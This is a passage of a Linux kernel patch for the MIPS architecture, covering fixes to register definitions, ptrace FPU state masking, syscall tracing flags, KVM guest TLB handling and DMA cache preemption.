MIPS64_EF_R20 +#define EF_R21 MIPS64_EF_R21 +#define EF_R22 MIPS64_EF_R22 +#define EF_R23 MIPS64_EF_R23 +#define EF_R24 MIPS64_EF_R24 +#define EF_R25 MIPS64_EF_R25 +#define EF_R26 MIPS64_EF_R26 +#define EF_R27 MIPS64_EF_R27 +#define EF_R28 MIPS64_EF_R28 +#define EF_R29 MIPS64_EF_R29 +#define EF_R30 MIPS64_EF_R30 +#define EF_R31 MIPS64_EF_R31 +#define EF_LO MIPS64_EF_LO +#define EF_HI MIPS64_EF_HI +#define EF_CP0_EPC MIPS64_EF_CP0_EPC +#define EF_CP0_BADVADDR MIPS64_EF_CP0_BADVADDR +#define EF_CP0_STATUS MIPS64_EF_CP0_STATUS +#define EF_CP0_CAUSE MIPS64_EF_CP0_CAUSE +#define EF_SIZE MIPS64_EF_SIZE #endif /* CONFIG_64BIT */ diff --git a/arch/mips/include/asm/suspend.h b/arch/mips/include/asm/suspend.h deleted file mode 100644 index 3adac3b53d193..0000000000000 --- a/arch/mips/include/asm/suspend.h +++ /dev/null @@ -1,7 +0,0 @@ -#ifndef __ASM_SUSPEND_H -#define __ASM_SUSPEND_H - -/* References to section boundaries */ -extern const void __nosave_begin, __nosave_end; - -#endif /* __ASM_SUSPEND_H */ diff --git a/arch/mips/include/asm/thread_info.h b/arch/mips/include/asm/thread_info.h index 895320e25662c..e6e5d91622139 100644 --- a/arch/mips/include/asm/thread_info.h +++ b/arch/mips/include/asm/thread_info.h @@ -131,6 +131,8 @@ static inline struct thread_info *current_thread_info(void) #define _TIF_FPUBOUND (1< -/* - * When this file is selected, we are definitely running a 64bit kernel. - * So using the right regs define in asm/reg.h - */ -#define WANT_COMPAT_REG_H - /* These MUST be defined before elf.h gets included */ extern void elf32_core_copy_regs(elf_gregset_t grp, struct pt_regs *regs); #define ELF_CORE_COPY_REGS(_dest, _regs) elf32_core_copy_regs(_dest, _regs); @@ -135,21 +129,21 @@ void elf32_core_copy_regs(elf_gregset_t grp, struct pt_regs *regs) { int i; - for (i = 0; i < EF_R0; i++) + for (i = 0; i < MIPS32_EF_R0; i++) grp[i] = 0; - grp[EF_R0] = 0; + grp[MIPS32_EF_R0] = 0; for (i = 1; i <= 31; i++) - grp[EF_R0 + i] = (elf_greg_t) regs->regs[i]; - grp[EF_R26] = 0; - grp[EF_R27] = 0; - grp[EF_LO] = (elf_greg_t) regs->lo; - grp[EF_HI] = (elf_greg_t) regs->hi; - grp[EF_CP0_EPC] = (elf_greg_t) regs->cp0_epc; - grp[EF_CP0_BADVADDR] = (elf_greg_t) regs->cp0_badvaddr; - grp[EF_CP0_STATUS] = (elf_greg_t) regs->cp0_status; - grp[EF_CP0_CAUSE] = (elf_greg_t) regs->cp0_cause; -#ifdef EF_UNUSED0 - grp[EF_UNUSED0] = 0; + grp[MIPS32_EF_R0 + i] = (elf_greg_t) regs->regs[i]; + grp[MIPS32_EF_R26] = 0; + grp[MIPS32_EF_R27] = 0; + grp[MIPS32_EF_LO] = (elf_greg_t) regs->lo; + grp[MIPS32_EF_HI] = (elf_greg_t) regs->hi; + grp[MIPS32_EF_CP0_EPC] = (elf_greg_t) regs->cp0_epc; + grp[MIPS32_EF_CP0_BADVADDR] = (elf_greg_t) regs->cp0_badvaddr; + grp[MIPS32_EF_CP0_STATUS] = (elf_greg_t) regs->cp0_status; + grp[MIPS32_EF_CP0_CAUSE] = (elf_greg_t) regs->cp0_cause; +#ifdef MIPS32_EF_UNUSED0 + grp[MIPS32_EF_UNUSED0] = 0; #endif } diff --git a/arch/mips/kernel/irq-gic.c b/arch/mips/kernel/irq-gic.c index c01b307317a96..bffbbc5578796 100644 --- a/arch/mips/kernel/irq-gic.c +++ b/arch/mips/kernel/irq-gic.c @@ -256,11 +256,13 @@ static void __init gic_setup_intr(unsigned int intr, unsigned int cpu, /* Setup Intr to Pin mapping */ if (pin & GIC_MAP_TO_NMI_MSK) { + int i; + GICWRITE(GIC_REG_ADDR(SHARED, GIC_SH_MAP_TO_PIN(intr)), pin); /* FIXME: hack to route NMI to all cpu's */ - for (cpu = 0; cpu < NR_CPUS; cpu += 32) { + for (i = 0; i < NR_CPUS; i += 32) { GICWRITE(GIC_REG_ADDR(SHARED, - GIC_SH_MAP_TO_VPE_REG_OFF(intr, cpu)), + GIC_SH_MAP_TO_VPE_REG_OFF(intr, i)), 0xffffffff); } } else { diff --git a/arch/mips/kernel/irq.c b/arch/mips/kernel/irq.c index d1fea7a054be6..7479d8d847a6f 100644 --- a/arch/mips/kernel/irq.c +++ b/arch/mips/kernel/irq.c @@ -110,7 +110,7 @@ void __init init_IRQ(void) #endif } -#ifdef DEBUG_STACKOVERFLOW +#ifdef CONFIG_DEBUG_STACKOVERFLOW static inline void check_stack_overflow(void) { unsigned long sp; diff --git a/arch/mips/kernel/irq_cpu.c b/arch/mips/kernel/irq_cpu.c index 72ef2d25cbf21..ab941a366012c 100644 --- a/arch/mips/kernel/irq_cpu.c +++ b/arch/mips/kernel/irq_cpu.c @@ -56,6 +56,8 @@ static struct irq_chip mips_cpu_irq_controller = { .irq_mask_ack = mask_mips_irq, .irq_unmask = unmask_mips_irq, .irq_eoi = unmask_mips_irq, + .irq_disable = mask_mips_irq, + .irq_enable = unmask_mips_irq, }; /* @@ -92,6 +94,8 @@ static struct irq_chip mips_mt_cpu_irq_controller = { .irq_mask_ack = mips_mt_cpu_irq_ack, .irq_unmask = unmask_mips_irq, .irq_eoi = unmask_mips_irq, + .irq_disable = mask_mips_irq, + .irq_enable = unmask_mips_irq, }; void __init mips_cpu_irq_init(void) diff --git a/arch/mips/kernel/mcount.S b/arch/mips/kernel/mcount.S index 33d067148e61b..3efbf0b29c1be 100644 --- a/arch/mips/kernel/mcount.S +++ b/arch/mips/kernel/mcount.S @@ -123,7 +123,11 @@ NESTED(_mcount, PT_SIZE, ra) nop #endif b ftrace_stub +#ifdef CONFIG_32BIT + addiu sp, sp, 8 +#else nop +#endif static_trace: MCOUNT_SAVE_REGS @@ -133,6 +137,9 @@ static_trace: move a1, AT /* arg2: parent's return address */ MCOUNT_RESTORE_REGS +#ifdef CONFIG_32BIT + addiu sp, sp, 8 +#endif .globl ftrace_stub ftrace_stub: RETURN_BACK @@ -181,6 +188,11 @@ NESTED(ftrace_graph_caller, PT_SIZE, ra) jal prepare_ftrace_return nop MCOUNT_RESTORE_REGS +#ifndef CONFIG_DYNAMIC_FTRACE +#ifdef CONFIG_32BIT + addiu sp, sp, 8 +#endif +#endif RETURN_BACK END(ftrace_graph_caller) diff --git a/arch/mips/kernel/mips-mt-fpaff.c b/arch/mips/kernel/mips-mt-fpaff.c index fd814e08c945d..0f3e030f232bb 100644 --- a/arch/mips/kernel/mips-mt-fpaff.c +++ b/arch/mips/kernel/mips-mt-fpaff.c @@ -154,7 +154,7 @@ asmlinkage long mipsmt_sys_sched_getaffinity(pid_t pid, unsigned int len, unsigned long __user *user_mask_ptr) { unsigned int real_len; - cpumask_t mask; + cpumask_t allowed, mask; int retval; struct task_struct *p; @@ -173,7 +173,8 @@ asmlinkage long mipsmt_sys_sched_getaffinity(pid_t pid, unsigned int len, if (retval) goto out_unlock; - cpumask_and(&mask, &p->thread.user_cpus_allowed, cpu_possible_mask); + cpumask_or(&allowed, &p->thread.user_cpus_allowed, &p->cpus_allowed); + cpumask_and(&mask, &allowed, cpu_active_mask); out_unlock: read_unlock(&tasklist_lock); diff --git a/arch/mips/kernel/mips_ksyms.c b/arch/mips/kernel/mips_ksyms.c index 6e58e97fcd39b..cedeb5686eb5f 100644 --- a/arch/mips/kernel/mips_ksyms.c +++ b/arch/mips/kernel/mips_ksyms.c @@ -14,6 +14,7 @@ #include #include #include +#include extern void *__bzero(void *__s, size_t __count); extern long __strncpy_from_user_nocheck_asm(char *__to, @@ -25,6 +26,13 @@ extern long __strlen_user_asm(const char *s); extern long __strnlen_user_nocheck_asm(const char *s); extern long __strnlen_user_asm(const char *s); +/* + * Core architecture code + */ +#ifdef CONFIG_CPU_R4K_FPU +EXPORT_SYMBOL_GPL(_save_fp); +#endif + /* * String functions */ diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c index 9c6299c733a31..1b95b24432216 100644 --- a/arch/mips/kernel/ptrace.c +++ b/arch/mips/kernel/ptrace.c @@ -161,6 +161,7 @@ int ptrace_setfpregs(struct task_struct *child, __u32 __user *data) __get_user(fregs[i], i + (__u64 __user *) data); __get_user(child->thread.fpu.fcr31, data + 64); + child->thread.fpu.fcr31 &= ~FPU_CSR_ALL_X; /* FIR may not be written. */ @@ -451,7 +452,7 @@ long arch_ptrace(struct task_struct *child, long request, break; #endif case FPC_CSR: - child->thread.fpu.fcr31 = data; + child->thread.fpu.fcr31 = data & ~FPU_CSR_ALL_X; break; case DSP_BASE ... DSP_BASE + 5: { dspreg_t *dregs; diff --git a/arch/mips/kernel/scall32-o32.S b/arch/mips/kernel/scall32-o32.S index 9b36424b03c5f..ed5bafb5d6375 100644 --- a/arch/mips/kernel/scall32-o32.S +++ b/arch/mips/kernel/scall32-o32.S @@ -52,7 +52,7 @@ NESTED(handle_sys, PT_SIZE, sp) stack_done: lw t0, TI_FLAGS($28) # syscall tracing enabled? - li t1, _TIF_SYSCALL_TRACE | _TIF_SYSCALL_AUDIT + li t1, _TIF_WORK_SYSCALL_ENTRY and t0, t1 bnez t0, syscall_trace_entry # -> yes diff --git a/arch/mips/kernel/scall64-64.S b/arch/mips/kernel/scall64-64.S index 97a5909a61cf0..be6627ead619e 100644 --- a/arch/mips/kernel/scall64-64.S +++ b/arch/mips/kernel/scall64-64.S @@ -54,7 +54,7 @@ NESTED(handle_sys64, PT_SIZE, sp) sd a3, PT_R26(sp) # save a3 for syscall restarting - li t1, _TIF_SYSCALL_TRACE | _TIF_SYSCALL_AUDIT + li t1, _TIF_WORK_SYSCALL_ENTRY LONG_L t0, TI_FLAGS($28) # syscall tracing enabled? and t0, t1, t0 bnez t0, syscall_trace_entry diff --git a/arch/mips/kernel/scall64-n32.S b/arch/mips/kernel/scall64-n32.S index edcb6594e7b5b..b657fbefc4669 100644 --- a/arch/mips/kernel/scall64-n32.S +++ b/arch/mips/kernel/scall64-n32.S @@ -47,7 +47,7 @@ NESTED(handle_sysn32, PT_SIZE, sp) sd a3, PT_R26(sp) # save a3 for syscall restarting - li t1, _TIF_SYSCALL_TRACE | _TIF_SYSCALL_AUDIT + li t1, _TIF_WORK_SYSCALL_ENTRY LONG_L t0, TI_FLAGS($28) # syscall tracing enabled? and t0, t1, t0 bnez t0, n32_syscall_trace_entry @@ -349,7 +349,7 @@ EXPORT(sysn32_call_table) PTR sys_ni_syscall /* available, was setaltroot */ PTR sys_add_key PTR sys_request_key - PTR sys_keyctl /* 6245 */ + PTR compat_sys_keyctl /* 6245 */ PTR sys_set_thread_area PTR sys_inotify_init PTR sys_inotify_add_watch diff --git a/arch/mips/kernel/scall64-o32.S b/arch/mips/kernel/scall64-o32.S index 74f485d3c0ef4..bf56d7e271dd7 100644 --- a/arch/mips/kernel/scall64-o32.S +++ b/arch/mips/kernel/scall64-o32.S @@ -81,7 +81,7 @@ NESTED(handle_sys, PT_SIZE, sp) PTR 4b, bad_stack .previous - li t1, _TIF_SYSCALL_TRACE | _TIF_SYSCALL_AUDIT + li t1, _TIF_WORK_SYSCALL_ENTRY LONG_L t0, TI_FLAGS($28) # syscall tracing enabled? and t0, t1, t0 bnez t0, trace_a_syscall @@ -474,7 +474,7 @@ sys_call_table: PTR sys_ni_syscall /* available, was setaltroot */ PTR sys_add_key /* 4280 */ PTR sys_request_key - PTR sys_keyctl + PTR compat_sys_keyctl PTR sys_set_thread_area PTR sys_inotify_init PTR sys_inotify_add_watch /* 4285 */ diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c index 1905a419aa46f..1f103b0a743ff 100644 --- a/arch/mips/kernel/signal32.c +++ b/arch/mips/kernel/signal32.c @@ -368,8 +368,6 @@ int copy_siginfo_to_user32(compat_siginfo_t __user *to, const siginfo_t *from) int copy_siginfo_from_user32(siginfo_t *to, compat_siginfo_t __user *from) { - memset(to, 0, sizeof *to); - if (copy_from_user(to, from, 3*sizeof(int)) || copy_from_user(to->_sifields._pad, from->_sifields._pad, SI_PAD_SIZE32)) diff --git a/arch/mips/kernel/smp.c b/arch/mips/kernel/smp.c index 6e7862ab46cc4..caeec21df1c4b 100644 --- a/arch/mips/kernel/smp.c +++ b/arch/mips/kernel/smp.c @@ -109,10 +109,10 @@ asmlinkage __cpuinit void start_secondary(void) else #endif /* CONFIG_MIPS_MT_SMTC */ cpu_probe(); - cpu_report(); per_cpu_trap_init(false); mips_clockevent_init(); mp_ops->init_secondary(); + cpu_report(); /* * XXX parity protection should be folded in here when it's converted diff --git a/arch/mips/kernel/unaligned.c b/arch/mips/kernel/unaligned.c index 203d8857070dd..2c81265bcf465 100644 --- a/arch/mips/kernel/unaligned.c +++ b/arch/mips/kernel/unaligned.c @@ -604,7 +604,6 @@ static void emulate_load_store_insn(struct pt_regs *regs, case sdc1_op: die_if_kernel("Unaligned FP access in kernel code", regs); BUG_ON(!used_math()); - BUG_ON(!is_fpu_owner()); lose_fpu(1); /* Save FPU state for the emulator. */ res = fpu_emulator_cop1Handler(regs, ¤t->thread.fpu, 1, diff --git a/arch/mips/kvm/kvm_locore.S b/arch/mips/kvm/kvm_locore.S index dca2aa6659937..73553cd98070e 100644 --- a/arch/mips/kvm/kvm_locore.S +++ b/arch/mips/kvm/kvm_locore.S @@ -156,9 +156,11 @@ FEXPORT(__kvm_mips_vcpu_run) FEXPORT(__kvm_mips_load_asid) /* Set the ASID for the Guest Kernel */ - sll t0, t0, 1 /* with kseg0 @ 0x40000000, kernel */ - /* addresses shift to 0x80000000 */ - bltz t0, 1f /* If kernel */ + PTR_L t0, VCPU_COP0(k1) + LONG_L t0, COP0_STATUS(t0) + andi t0, KSU_USER | ST0_ERL | ST0_EXL + xori t0, KSU_USER + bnez t0, 1f /* If kernel */ addiu t1, k1, VCPU_GUEST_KERNEL_ASID /* (BD) */ addiu t1, k1, VCPU_GUEST_USER_ASID /* else user */ 1: @@ -225,6 +227,7 @@ FEXPORT(__kvm_mips_load_k0k1) /* Jump to guest */ eret .set pop +EXPORT(__kvm_mips_vcpu_run_end) VECTOR(MIPSX(exception), unknown) /* @@ -431,7 +434,7 @@ __kvm_mips_return_to_guest: /* Setup status register for running guest in UM */ .set at or v1, v1, (ST0_EXL | KSU_USER | ST0_IE) - and v1, v1, ~ST0_CU0 + and v1, v1, ~(ST0_CU0 | ST0_MX) .set noat mtc0 v1, CP0_STATUS ehb @@ -442,9 +445,11 @@ __kvm_mips_return_to_guest: mtc0 t0, CP0_EPC /* Set the ASID for the Guest Kernel */ - sll t0, t0, 1 /* with kseg0 @ 0x40000000, kernel */ - /* addresses shift to 0x80000000 */ - bltz t0, 1f /* If kernel */ + PTR_L t0, VCPU_COP0(k1) + LONG_L t0, COP0_STATUS(t0) + andi t0, KSU_USER | ST0_ERL | ST0_EXL + xori t0, KSU_USER + bnez t0, 1f /* If kernel */ addiu t1, k1, VCPU_GUEST_KERNEL_ASID /* (BD) */ addiu t1, k1, VCPU_GUEST_USER_ASID /* else user */ 1: diff --git a/arch/mips/kvm/kvm_mips.c b/arch/mips/kvm/kvm_mips.c index 2c7b3ade8ec0e..97a181a44e53b 100644 --- a/arch/mips/kvm/kvm_mips.c +++ b/arch/mips/kvm/kvm_mips.c @@ -15,6 +15,7 @@ #include #include #include +#include #include #include #include @@ -307,7 +308,7 @@ struct kvm_vcpu *kvm_arch_vcpu_create(struct kvm *kvm, unsigned int id) if (!gebase) { err = -ENOMEM; - goto out_free_cpu; + goto out_uninit_cpu; } kvm_info("Allocated %d bytes for KVM Exception Handlers @ %p\n", ALIGN(size, PAGE_SIZE), gebase); @@ -342,6 +343,15 @@ struct kvm_vcpu *kvm_arch_vcpu_create(struct kvm *kvm, unsigned int id) memcpy(gebase + offset, mips32_GuestException, mips32_GuestExceptionEnd - mips32_GuestException); +#ifdef MODULE + offset += mips32_GuestExceptionEnd - mips32_GuestException; + memcpy(gebase + offset, (char *)__kvm_mips_vcpu_run, + __kvm_mips_vcpu_run_end - (char *)__kvm_mips_vcpu_run); + vcpu->arch.vcpu_run = gebase + offset; +#else + vcpu->arch.vcpu_run = __kvm_mips_vcpu_run; +#endif + /* Invalidate the icache for these ranges */ mips32_SyncICache((unsigned long) gebase, ALIGN(size, PAGE_SIZE)); @@ -367,6 +377,9 @@ struct kvm_vcpu *kvm_arch_vcpu_create(struct kvm *kvm, unsigned int id) out_free_gebase: kfree(gebase); +out_uninit_cpu: + kvm_vcpu_uninit(vcpu); + out_free_cpu: kfree(vcpu); @@ -413,14 +426,16 @@ int kvm_arch_vcpu_ioctl_run(struct kvm_vcpu *vcpu, struct kvm_run *run) vcpu->mmio_needed = 0; } + lose_fpu(1); + + local_irq_disable(); /* Check if we have any exceptions/interrupts pending */ kvm_mips_deliver_interrupts(vcpu, kvm_read_c0_guest_cause(vcpu->arch.cop0)); - local_irq_disable(); kvm_guest_enter(); - r = __kvm_mips_vcpu_run(run, vcpu); + r = vcpu->arch.vcpu_run(run, vcpu); kvm_guest_exit(); local_irq_enable(); @@ -1017,9 +1032,6 @@ void kvm_mips_set_c0_status(void) { uint32_t status = read_c0_status(); - if (cpu_has_fpu) - status |= (ST0_CU1); - if (cpu_has_dsp) status |= (ST0_MX); diff --git a/arch/mips/kvm/kvm_mips_emul.c b/arch/mips/kvm/kvm_mips_emul.c index e75ef8219cafb..9f7643874fbad 100644 --- a/arch/mips/kvm/kvm_mips_emul.c +++ b/arch/mips/kvm/kvm_mips_emul.c @@ -935,7 +935,7 @@ kvm_mips_emulate_cache(uint32_t inst, uint32_t *opc, uint32_t cause, base = (inst >> 21) & 0x1f; op_inst = (inst >> 16) & 0x1f; - offset = inst & 0xffff; + offset = (int16_t)inst; cache = (inst >> 16) & 0x3; op = (inst >> 18) & 0x7; @@ -972,8 +972,13 @@ kvm_mips_emulate_cache(uint32_t inst, uint32_t *opc, uint32_t cause, preempt_disable(); if (KVM_GUEST_KSEGX(va) == KVM_GUEST_KSEG0) { - if (kvm_mips_host_tlb_lookup(vcpu, va) < 0) { - kvm_mips_handle_kseg0_tlb_fault(va, vcpu); + if (kvm_mips_host_tlb_lookup(vcpu, va) < 0 && + kvm_mips_handle_kseg0_tlb_fault(va, vcpu)) { + kvm_err("%s: handling mapped kseg0 tlb fault for %lx, vcpu: %p, ASID: %#lx\n", + __func__, va, vcpu, read_c0_entryhi()); + er = EMULATE_FAIL; + preempt_enable(); + goto done; } } else if ((KVM_GUEST_KSEGX(va) < KVM_GUEST_KSEG0) || KVM_GUEST_KSEGX(va) == KVM_GUEST_KSEG23) { @@ -1006,11 +1011,16 @@ kvm_mips_emulate_cache(uint32_t inst, uint32_t *opc, uint32_t cause, run, vcpu); preempt_enable(); goto dont_update_pc; - } else { - /* We fault an entry from the guest tlb to the shadow host TLB */ - kvm_mips_handle_mapped_seg_tlb_fault(vcpu, tlb, - NULL, - NULL); + } + /* We fault an entry from the guest tlb to the shadow host TLB */ + if (kvm_mips_handle_mapped_seg_tlb_fault(vcpu, tlb, + NULL, NULL)) { + kvm_err("%s: handling mapped seg tlb fault for %lx, index: %u, vcpu: %p, ASID: %#lx\n", + __func__, va, index, vcpu, + read_c0_entryhi()); + er = EMULATE_FAIL; + preempt_enable(); + goto done; } } } else { @@ -1626,7 +1636,7 @@ kvm_mips_complete_mmio_load(struct kvm_vcpu *vcpu, struct kvm_run *run) if (vcpu->mmio_needed == 2) *gpr = *(int16_t *) run->mmio.data; else - *gpr = *(int16_t *) run->mmio.data; + *gpr = *(uint16_t *)run->mmio.data; break; case 1: @@ -1821,8 +1831,13 @@ kvm_mips_handle_tlbmiss(unsigned long cause, uint32_t *opc, tlb->tlb_hi, tlb->tlb_lo0, tlb->tlb_lo1); #endif /* OK we have a Guest TLB entry, now inject it into the shadow host TLB */ - kvm_mips_handle_mapped_seg_tlb_fault(vcpu, tlb, NULL, - NULL); + if (kvm_mips_handle_mapped_seg_tlb_fault(vcpu, tlb, + NULL, NULL)) { + kvm_err("%s: handling mapped seg tlb fault for %lx, index: %u, vcpu: %p, ASID: %#lx\n", + __func__, va, index, vcpu, + read_c0_entryhi()); + er = EMULATE_FAIL; + } } } diff --git a/arch/mips/kvm/kvm_mips_int.h b/arch/mips/kvm/kvm_mips_int.h index 20da7d29eeded..bf41ea36210e1 100644 --- a/arch/mips/kvm/kvm_mips_int.h +++ b/arch/mips/kvm/kvm_mips_int.h @@ -27,6 +27,8 @@ #define MIPS_EXC_MAX 12 /* XXXSL More to follow */ +extern char __kvm_mips_vcpu_run_end[]; + #define C_TI (_ULCAST_(1) << 30) #define KVM_MIPS_IRQ_DELIVER_ALL_AT_ONCE (0) diff --git a/arch/mips/kvm/kvm_tlb.c b/arch/mips/kvm/kvm_tlb.c index c777dd36d4a8b..8a47bd96cee3d 100644 --- a/arch/mips/kvm/kvm_tlb.c +++ b/arch/mips/kvm/kvm_tlb.c @@ -182,7 +182,7 @@ static int kvm_mips_map_page(struct kvm *kvm, gfn_t gfn) srcu_idx = srcu_read_lock(&kvm->srcu); pfn = kvm_mips_gfn_to_pfn(kvm, gfn); - if (kvm_mips_is_error_pfn(pfn)) { + if (is_error_noslot_pfn(pfn)) { kvm_err("Couldn't get pfn for gfn %#" PRIx64 "!\n", gfn); err = -EFAULT; goto out; @@ -312,7 +312,7 @@ int kvm_mips_handle_kseg0_tlb_fault(unsigned long badvaddr, } gfn = (KVM_GUEST_CPHYSADDR(badvaddr) >> PAGE_SHIFT); - if (gfn >= kvm->arch.guest_pmap_npages) { + if ((gfn | 1) >= kvm->arch.guest_pmap_npages) { kvm_err("%s: Invalid gfn: %#llx, BadVaddr: %#lx\n", __func__, gfn, badvaddr); kvm_mips_dump_host_tlbs(); @@ -397,21 +397,38 @@ kvm_mips_handle_mapped_seg_tlb_fault(struct kvm_vcpu *vcpu, unsigned long entryhi = 0, entrylo0 = 0, entrylo1 = 0; struct kvm *kvm = vcpu->kvm; pfn_t pfn0, pfn1; + gfn_t gfn0, gfn1; + long tlb_lo[2]; + + tlb_lo[0] = tlb->tlb_lo0; + tlb_lo[1] = tlb->tlb_lo1; + + /* + * The commpage address must not be mapped to anything else if the guest + * TLB contains entries nearby, or commpage accesses will break. + */ + if (!((tlb->tlb_hi ^ KVM_GUEST_COMMPAGE_ADDR) & + VPN2_MASK & (PAGE_MASK << 1))) + tlb_lo[(KVM_GUEST_COMMPAGE_ADDR >> PAGE_SHIFT) & 1] = 0; + + gfn0 = mips3_tlbpfn_to_paddr(tlb_lo[0]) >> PAGE_SHIFT; + gfn1 = mips3_tlbpfn_to_paddr(tlb_lo[1]) >> PAGE_SHIFT; + if (gfn0 >= kvm->arch.guest_pmap_npages || + gfn1 >= kvm->arch.guest_pmap_npages) { + kvm_err("%s: Invalid gfn: [%#llx, %#llx], EHi: %#lx\n", + __func__, gfn0, gfn1, tlb->tlb_hi); + kvm_mips_dump_guest_tlbs(vcpu); + return -1; + } + if (kvm_mips_map_page(kvm, gfn0) < 0) + return -1; - if ((tlb->tlb_hi & VPN2_MASK) == 0) { - pfn0 = 0; - pfn1 = 0; - } else { - if (kvm_mips_map_page(kvm, mips3_tlbpfn_to_paddr(tlb->tlb_lo0) >> PAGE_SHIFT) < 0) - return -1; - - if (kvm_mips_map_page(kvm, mips3_tlbpfn_to_paddr(tlb->tlb_lo1) >> PAGE_SHIFT) < 0) - return -1; + if (kvm_mips_map_page(kvm, gfn1) < 0) + return -1; - pfn0 = kvm->arch.guest_pmap[mips3_tlbpfn_to_paddr(tlb->tlb_lo0) >> PAGE_SHIFT]; - pfn1 = kvm->arch.guest_pmap[mips3_tlbpfn_to_paddr(tlb->tlb_lo1) >> PAGE_SHIFT]; - } + pfn0 = kvm->arch.guest_pmap[gfn0]; + pfn1 = kvm->arch.guest_pmap[gfn1]; if (hpa0) *hpa0 = pfn0 << PAGE_SHIFT; @@ -423,9 +440,9 @@ kvm_mips_handle_mapped_seg_tlb_fault(struct kvm_vcpu *vcpu, entryhi = (tlb->tlb_hi & VPN2_MASK) | (KVM_GUEST_KERNEL_MODE(vcpu) ? kvm_mips_get_kernel_asid(vcpu) : kvm_mips_get_user_asid(vcpu)); entrylo0 = mips3_paddr_to_tlbpfn(pfn0 << PAGE_SHIFT) | (0x3 << 3) | - (tlb->tlb_lo0 & MIPS3_PG_D) | (tlb->tlb_lo0 & MIPS3_PG_V); + (tlb_lo[0] & MIPS3_PG_D) | (tlb_lo[0] & MIPS3_PG_V); entrylo1 = mips3_paddr_to_tlbpfn(pfn1 << PAGE_SHIFT) | (0x3 << 3) | - (tlb->tlb_lo1 & MIPS3_PG_D) | (tlb->tlb_lo1 & MIPS3_PG_V); + (tlb_lo[1] & MIPS3_PG_D) | (tlb_lo[1] & MIPS3_PG_V); #ifdef DEBUG kvm_debug("@ %#lx tlb_lo0: 0x%08lx tlb_lo1: 0x%08lx\n", vcpu->arch.pc, @@ -909,10 +926,16 @@ uint32_t kvm_get_inst(uint32_t *opc, struct kvm_vcpu *vcpu) local_irq_restore(flags); return KVM_INVALID_INST; } - kvm_mips_handle_mapped_seg_tlb_fault(vcpu, - &vcpu->arch. - guest_tlb[index], - NULL, NULL); + if (kvm_mips_handle_mapped_seg_tlb_fault(vcpu, + &vcpu->arch.guest_tlb[index], + NULL, NULL)) { + kvm_err("%s: handling mapped seg tlb fault failed for %p, index: %u, vcpu: %p, ASID: %#lx\n", + __func__, opc, index, vcpu, + read_c0_entryhi()); + kvm_mips_dump_guest_tlbs(vcpu); + local_irq_restore(flags); + return KVM_INVALID_INST; + } inst = *(opc); } local_irq_restore(flags); diff --git a/arch/mips/kvm/trace.h b/arch/mips/kvm/trace.h index bc9e0f406c088..e51621e36152b 100644 --- a/arch/mips/kvm/trace.h +++ b/arch/mips/kvm/trace.h @@ -26,18 +26,18 @@ TRACE_EVENT(kvm_exit, TP_PROTO(struct kvm_vcpu *vcpu, unsigned int reason), TP_ARGS(vcpu, reason), TP_STRUCT__entry( - __field(struct kvm_vcpu *, vcpu) + __field(unsigned long, pc) __field(unsigned int, reason) ), TP_fast_assign( - __entry->vcpu = vcpu; + __entry->pc = vcpu->arch.pc; __entry->reason = reason; ), TP_printk("[%s]PC: 0x%08lx", kvm_mips_exit_types_str[__entry->reason], - __entry->vcpu->arch.pc) + __entry->pc) ); #endif /* _TRACE_KVM_H */ diff --git a/arch/mips/loongson/common/Makefile b/arch/mips/loongson/common/Makefile index 4c57b3e5743f7..33f76e658d193 100644 --- a/arch/mips/loongson/common/Makefile +++ b/arch/mips/loongson/common/Makefile @@ -10,7 +10,8 @@ obj-$(CONFIG_GPIOLIB) += gpio.o # Serial port support # obj-$(CONFIG_EARLY_PRINTK) += early_printk.o -obj-$(CONFIG_SERIAL_8250) += serial.o +loongson-serial-$(CONFIG_SERIAL_8250) := serial.o +obj-y += $(loongson-serial-m) $(loongson-serial-y) obj-$(CONFIG_LOONGSON_UART_BASE) += uart_base.o obj-$(CONFIG_LOONGSON_MC146818) += rtc.o diff --git a/arch/mips/math-emu/cp1emu.c b/arch/mips/math-emu/cp1emu.c index f03771900813c..3d492a823a55e 100644 --- a/arch/mips/math-emu/cp1emu.c +++ b/arch/mips/math-emu/cp1emu.c @@ -684,9 +684,11 @@ static int isBranchInstr(struct pt_regs *regs, struct mm_decoded_insn dec_insn, case spec_op: switch (insn.r_format.func) { case jalr_op: - regs->regs[insn.r_format.rd] = - regs->cp0_epc + dec_insn.pc_inc + - dec_insn.next_pc_inc; + if (insn.r_format.rd != 0) { + regs->regs[insn.r_format.rd] = + regs->cp0_epc + dec_insn.pc_inc + + dec_insn.next_pc_inc; + } /* Fall through */ case jr_op: *contpc = regs->regs[insn.r_format.rs]; diff --git a/arch/mips/mm/c-r4k.c b/arch/mips/mm/c-r4k.c index 21813beec7a56..c2ec87e5d1cc6 100644 --- a/arch/mips/mm/c-r4k.c +++ b/arch/mips/mm/c-r4k.c @@ -12,6 +12,7 @@ #include #include #include +#include #include #include #include @@ -601,11 +602,13 @@ static void r4k_dma_cache_wback_inv(unsigned long addr, unsigned long size) /* Catch bad driver code */ BUG_ON(size == 0); + preempt_disable(); if (cpu_has_inclusive_pcaches) { if (size >= scache_size) r4k_blast_scache(); else blast_scache_range(addr, addr + size); + preempt_enable(); __sync(); return; } @@ -621,6 +624,7 @@ static void r4k_dma_cache_wback_inv(unsigned long addr, unsigned long size) R4600_HIT_CACHEOP_WAR_IMPL; blast_dcache_range(addr, addr + size); } + preempt_enable(); bc_wback_inv(addr, size); __sync(); @@ -631,6 +635,7 @@ static void r4k_dma_cache_inv(unsigned long addr, unsigned long size) /* Catch bad driver code */ BUG_ON(size == 0); + preempt_disable(); if (cpu_has_inclusive_pcaches) { if (size >= scache_size) r4k_blast_scache(); @@ -645,6 +650,7 @@ static void r4k_dma_cache_inv(unsigned long addr, unsigned long size) */ blast_inv_scache_range(addr, addr + size); } + preempt_enable(); __sync(); return; } @@ -655,6 +661,7 @@ static void r4k_dma_cache_inv(unsigned long addr, unsigned long size) R4600_HIT_CACHEOP_WAR_IMPL; blast_inv_dcache_range(addr, addr + size); } + preempt_enable(); bc_inv(addr, size); __sync(); diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c index 23129d1005dbd..5fa55b80b7b69 100644 --- a/arch/mips/mm/dma-default.c +++ b/arch/mips/mm/dma-default.c @@ -91,7 +91,7 @@ static gfp_t massage_gfp_flags(const struct device *dev, gfp_t gfp) else #endif #if defined(CONFIG_ZONE_DMA) && !defined(CONFIG_ZONE_DMA32) - if 